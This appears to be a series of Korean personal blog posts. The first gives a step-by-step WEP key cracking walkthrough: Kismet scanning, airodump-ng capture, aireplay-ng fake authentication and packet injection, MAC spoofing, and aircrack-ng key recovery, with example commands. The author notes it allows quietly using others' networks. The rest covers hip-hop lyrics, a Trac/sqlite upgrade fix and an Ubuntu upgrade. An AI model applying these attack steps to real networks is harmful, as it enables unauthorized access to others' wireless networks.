WEP Crack

이 문서를 보면 WEP Key를 쓴 무선네트워크는 얼마든지 슬그머니 쓸 수 있겠지 싶다.
보안에 취약하다고 들었지만, 이 정도로 쉬울줄이야..

개략적인 순서는 다음과 같다.

. backtrack2 iso 이미지를 다운 받아 CD로 굽는다.
. CD를 넣고 부팅한다. (Slackware live CD위에 필요한 도구를 넣은 linux 부팅시디)
. Kismet을 실행한다. 이러면 bssid, essid, channel # 를 얻을 수 있고, 무선랜카드를 monitor mode로 만든다.
. 그러면서 wifi0라는 virtual device가 만들어져 있을 건데, iwconfig로 확인가능하다.
. 암튼, Kismet 화면에 보면 signal 강도에 따라 차례로 나열되어 있을 텐데, 거기서 Flag가 Y인 것이 WEP을 쓰는 AP임. 대상 AP의 bssid, essid, channel# 를 잘 적어둔다.
. Kismet은 그대로 두고, airodump로 data를 수집한다.
. 이렇게, airodump-ng [dev_name] -w [saved_file] [channel#] 1
. usbdevice를 꼽으면 /mnt/ 밑에 생기니까 saved_file을 그쪽으로 지정해 두면 됨.
. 맨 마지막 인자 1 은 WEB key관계된 data만 저장하라는 얘기.
. 그 다음은 무선랜카드와 AP를 연결한다.
. aireplay-ng -1 0 -e [essid] -a [bssid] -h [my_macaddr] [dev_name]
. my_macaddr은 macchanger -s [dev_name] 으로 볼 수도 바꿀수도 있슴.
. 패킷을 넣어보자.
. aireplay-ng -3 -b [bssid] -h [my_macaddr] [dev_name]
. 이제 모인 패킷 분석.
. aircrack-ng -s [saved_file]

원문에 있는 예제만 적어보면, 순서대로
. kismet
. iwconfig
. airodump-ng ath0 -w /mnt/hda2/home/ryan/belkin_slax_rcu 9 1
. aireplay-ng -1 0 -e belkin -a 00:11:22:33:44:55 -h 00:fe:22:33:f4:e5 ath0
. aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:fe:22:33:f4:e5 ath0
. aircrack-ng -s /mnt/hda2/home/belkin_slax_rcu-03.ivs

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양동근 – 거울

내가 힙합 음악을 좋아하는 이유 중의 하나가 가수가 자신의 가사로 노래부르는 경우가 많다는 것이다.
요즘 처럼 모든 것이 세분화/전문화 되는 와중에, 소위 힙합씬에서 인정받은 MC들은 자기가 가사를 쓰는 경우가 많다.
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오늘 아침엔 오랫만에 양동근 3집을 듣고 있었는데, 그 중에 거울 이란 노래 가사를 따라 읽다 보니,
거울로 자기를 돌아보는 28살 청춘이 이런 저런 생각을 하며 서 있는 장면이 상상된다.
그리고 정말 본인 얘기를 하고 있구나 싶어 마음이 짠했다.
노래를 들으려면 여기 를 방문하면 되는데, 거기 가사는 살짝 틀렸으므로 아래를 참조하면 되는데
이 가사는 http://www.hiphopplaya.com/ 에서 퍼온 것임.

참고로 3절에 보면 ‘대한민국의 한 남자로’ 이후에 가사에는 안 나오지만, ‘암담해~’ 이런 말이 나온다. ㅎㅎ

[#M_ more.. | less.. | 17. 거울 (New version)

[Verse 1]
어깨를 늘어뜨린 넌 누구니?
초라해보이는구나 너의 모습이
그 오랜 시간 보아 왔지만
그 누구보다도 낯설다고
Suppose to be 아련한
너의 그 애띤 얼굴 차가운 인정에
난 메스로 찢겨 더 날카로워져
매서워 빛이 보이지 않아
어둠 드리워진 dark circle.
갈라진 마음과 매마른 가뭄
핏발선 뻑뻑해진 눈물은 차가워진
마음과 얼어 버렸니 눈물의 응어리
가슴속 얼음 덩어리 담배 피워댄
부르튼 나의 입술 마시다 지워버린
hit 타는 나의 입 걸레를 물고사는
더러운 나의 입 아픈 상처를 준
나의 입술

[Hook]
Do you can count on me?
(yes, you can)
Do you can lean on me?
(no, you can’t)
Where you think yourself
there’s one to way
Do you can count on me?
(yes, you can)
Do you can lean on me?
(no, you can’t)
evenwhere you think yourself
there’s one to way

[Verse 2]
나랑 같이 다닐땐 손도 못잡어
극장에선 저 멀리 떨어져 앉어
주위에 몇몇은 우릴 그냥 친구로 알어
[에이 Shit -] 심지어는 내마음도
너를 못 느껴 가끔씩 쓸데없는
생각들이 귀찮게 하지 머리속 지우개로
애써 문질러 딴엔 추억이라며 웃어 넘기지(하하~)
근데 인간적으로 그거 참 못할 짓이야(맞아)
안 보이기라도 하면 말 안해 여길 봐도 있고
저기에도 있고 깐죽깐죽 눈에 자꾸 밟히니
말 다했지 이런 생각들이 날 궁지로 몰아
지무덤 지가 파헤치는 저치를 보라
그러나 한걸음더 어른이 된 모습보다가 놀라
아픈만큼 성숙해지니까 word up.!

[Hook]
Do you can count on me?
(yes, you can)
Do you can lean on me?
(no, you can’t)
Where you think yourself
there’s one to way
Do you can count on me?
(yes, you can)
Do you can lean on me?
(no, you can’t)
evenwhere you think yourself
there’s one to way

[Verse3]
오늘도 새아침이 밝았으니
그 성가신 너란 굴레에서
벗어나 더이상 너만 바라보고
너만을 위해 살지않아
어느새 너무 새로워 졌어 나
너만의 장난감 병정이 아니라
우리 부모님들의 자식으로서
우리 형 누나들의 동생으로서
또한 내 피같은 동생들의 형으로써
개떡같지만 사회의 구성원으로
대한민국의 한 남자로 지구 60억분의
한사람으로 그렇게 내게 주어진
생을 다하고 하나님품으로

[Hook]
Do you can count on me?
(yes, you can)
Do you can lean on me?
(no, you can’t)
Where you think yourself
there’s one to way
Do you can count on me?
(yes, you can)
Do you can lean on me?
(no, you can’t)
evenwhere you think yourself
there’s one to way

[Hook]
Do you can count on me?
(yes, you can)
Do you can lean on me?
(no, you can’t)
Where you think yourself
there’s one to way
Do you can count on me?
(yes, you can)
Do you can lean on me?
(no, you can’t)
evenwhere you think yourself
there’s one to way
_M#]

Trac upgrade

Feisty로 업그레이드 한 후, Trac이 제대로 동작하지 않았다.
원인과 해결 방법을 적어보면,

python 버전이 2.4에서 2.5로 올라감. 모든 plugin 새로 컴파일 해야 함.
trac 버전이 올라가면서 어떤 plugin은 0.9와 0.10이 따로 있기 때문에 다시 update해서 다시 컴파일 함.
sqlite 버전이 2.x 에서 3.x으로 올라감. 3이 2를 몰라보기 때문에 db를 변환해주어야 함.
cp trac.db trac2.db; sqlite trac2.db .dump | sqlite3 trac.db

끝.

Upgrade to Ubuntu Feisty

다른 사람들이 다들 업그레이드 하고 별 문제 없어질 때 쯤 나도 하려했는데,
오늘 아침 충동적으로 업그레이드 해 버렸다. 지금 까지는 별 문제 없다.

제일 좋은 것은 xserver의 intel device driver가 잘 돌아가면서 1680 X 1050 해상도가 된다는 것이다.
6.06에서 6.10으로 오면서 풀릴 줄 알았으나 안 풀린 그 문제가 이번 업그레이드에서 기대하지도 않았는데 해결되니 참 좋구나..

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아름다운 1680 x 1050

Desktop effect 를 켜면 OS X 흉내를 낸다.

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Ctrl-Tab 눌렀을 때.